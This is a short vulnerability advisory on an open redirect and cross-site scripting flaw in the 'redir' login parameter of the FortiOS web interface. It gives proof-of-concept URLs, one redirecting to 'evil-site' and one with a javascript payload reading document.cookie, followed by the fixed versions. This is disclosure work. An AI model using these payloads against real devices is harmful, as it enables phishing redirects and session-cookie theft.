Description
===================================================================
The FortiOS webui accepts a user-controlled input that specifies a link to
an external site, and uses that link in a redirect.

The redirect input parameter is also prone to a cross site scripting.

Public Fortinet Security Advisory (Mar 16 2016):
http://www.fortiguard.com/advisory/fortios-open-redirect-vulnerability

PoC
===================================================================
The parameter "redir" in the Fortiweb web login portal is vulnerable to
Open Redirect and Cross Site Scripting

1. Open Redirect
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http[s]://fortigate-management-ip-address/login?redir=http[:]//evil-site

2. Cross Site Scripting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http[s]://fortigate-management-ip-address/login?redir=javascript:alert(document.cookie)

Solution
===================================================================
Upgrade to one the following FortiOS versions:
* 5.0 branch: 5.0.13 or above
* 5.2 branch: 5.2.3 or above
* 5.4 branch: 5.4.0 or above

*** 4.3 and lower branches are not affected by this vulnerability.

Authors:
===================================================================
Javier Nieto - @BehindFirewalls
http://www.behindthefirewalls.com